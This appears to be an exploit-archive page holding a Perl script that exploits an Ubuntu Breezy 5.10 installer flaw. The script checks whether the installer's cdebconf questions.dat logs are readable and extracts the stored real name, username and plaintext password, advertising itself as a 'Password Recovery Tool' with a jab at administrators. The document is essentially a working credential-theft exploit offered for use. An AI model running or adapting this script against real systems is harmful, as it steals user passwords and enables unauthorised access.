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Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability
============================================================== Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability ============================================================== #!/usr/bin/perl -w use warnings; use strict; ############################################################################## # Author: Kristian Hermansen # Date: 3/12/2006 # Overview: Ubuntu Breezy stores the installation password in plain text # Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606 ############################################################################## print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n"; print "99% effective, thank your local admin ;-)\n"; print "FOR EDUCATIONAL PURPOSES ONLY!!!\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n"; # the two vulnerable files my $file1 = "/var/log/installer/cdebconf/questions.dat"; my $file2 = "/var/log/debian-installer/cdebconf/questions.dat"; print "Checking if an exploitable file exists..."; if ( (-e $file1) || (-e $file2) ) { print "Yes\nNow checking if readable..."; if ( -r $file1 ) { getinfo($file1); } else { if ( -r $file2 ) { getinfo($file2); } else { print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n"; exit(-2); } } } else { print "No\nFile may have been deleted by the administrator :-(\nExiting...\n"; exit(-1); } sub getinfo { my $fn = shift; print "Yes\nHere come the details...\n\n"; my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`; my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`; my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`; chomp($realname); chomp($user); chomp($pass); print "Real Name: $realname\n"; print "Username: $user\n"; print "Password: $pass\n"; } # 0day.today [2024-12-24] #